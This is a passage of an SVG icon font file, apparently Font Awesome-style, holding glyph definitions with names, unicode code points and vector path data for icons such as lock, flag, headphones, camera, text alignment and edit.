M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z
M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5
t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="1152" 
d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
    <glyph glyph-name="flag" unicode="&#xf024;" horiz-adv-x="1792" 
d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48
t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
    <glyph glyph-name="headphones" unicode="&#xf025;" horiz-adv-x="1664" 
d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78
t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5
t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
    <glyph glyph-name="volume_off" unicode="&#xf026;" horiz-adv-x="768" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="volume_down" unicode="&#xf027;" horiz-adv-x="1152" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
    <glyph glyph-name="volume_up" unicode="&#xf028;" horiz-adv-x="1664" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5
t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289
t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="1408" 
d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z
M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
    <glyph glyph-name="barcode" unicode="&#xf02a;" horiz-adv-x="1792" 
d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z
M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
    <glyph glyph-name="tag" unicode="&#xf02b;" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="1920" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="1664" 
d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23
q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906
q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5
t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="1280" 
d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="print" unicode="&#xf02f;" horiz-adv-x="1664" 
d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68
v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
    <glyph glyph-name="camera" unicode="&#xf030;" horiz-adv-x="1920" 
d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136
q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="1664" 
d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57
q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -5 -0.5 -13.5t-0.5 -12.5q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5
q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="1408" 
d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142
q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5
t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68 -0.5t68 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5
t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="1024" 
d="M0 -126l17 85q22 7 61.5 16.5t72 19t59.5 23.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5
q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
    <glyph glyph-name="text_height" unicode="&#xf034;" horiz-adv-x="1792" 
d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2
t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5
q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
    <glyph glyph-name="text_width" unicode="&#xf035;" 
d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1
t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5
t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49
t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
    <glyph glyph-name="align_left" unicode="&#xf036;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_center" unicode="&#xf037;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19
h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_right" unicode="&#xf038;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_justify" unicode="&#xf039;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="list" unicode="&#xf03a;" horiz-adv-x="1792" 
d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5
t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344
q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192
q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_left" unicode="&#xf03b;" horiz-adv-x="1792" 
d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_right" unicode="&#xf03c;" horiz-adv-x="1792" 
d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="facetime_video" unicode="&#xf03d;" horiz-adv-x="1792" 
d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5
q39 -17 39 -59z" />
    <glyph glyph-name="picture" unicode="&#xf03e;" horiz-adv-x="1920" 
d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216
q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="pencil" unicode="&#xf040;" 
d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38
q53 0 91 -38l235 -234q37 -39 37 -91z" />
    <glyph glyph-name="map_marker" unicode="&#xf041;" horiz-adv-x="1024" 
d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
    <glyph glyph-name="adjust" unicode="&#xf042;" 
d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="1024" 
d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362
q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="1792" 
d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92
l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
    <glyph glyph-name="share" unicode="&#xf045;" horiz-adv-x="1664" 
d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832
q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5
t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="check" unicode="&#xf046;" horiz-adv-x="1664" 
d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832
